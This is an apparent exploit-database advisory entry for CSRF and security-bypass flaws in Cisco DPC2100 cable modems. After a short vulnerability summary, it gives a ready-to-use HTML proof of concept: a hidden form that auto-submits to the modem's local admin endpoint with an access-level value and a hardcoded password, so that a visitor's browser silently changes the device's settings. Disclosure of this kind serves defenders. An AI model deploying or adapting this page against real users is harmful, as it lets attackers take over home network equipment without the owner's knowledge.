source: https://www.securityfocus.com/bid/40346/info
Cisco DPC2100 (formerly Scientific Atlanta DPC2100)is prone to multiple security-bypass and cross-site request-forgery vulnerabilities.
Successful exploits may allow attackers to run privileged commands on the affected device, change configuration settings, modify device firmware, cause denial-of-service conditions,or inject arbitrary script code. Other attacks are also possible.
Firmware versions prior to 2.0.2.r1256-100324as are vulnerable.<html><head><title>Test for CSRF vulnerability in WebSTAR modems</title></head><body><form name="csrf" method="post" action="http://192.168.100.1/goform/_aslvl"><inputtype="hidden" name="SAAccessLevel" value="0"><inputtype="hidden" name="SAPassword" value="W2402"></form><script>document.csrf.submit()</script></body></html>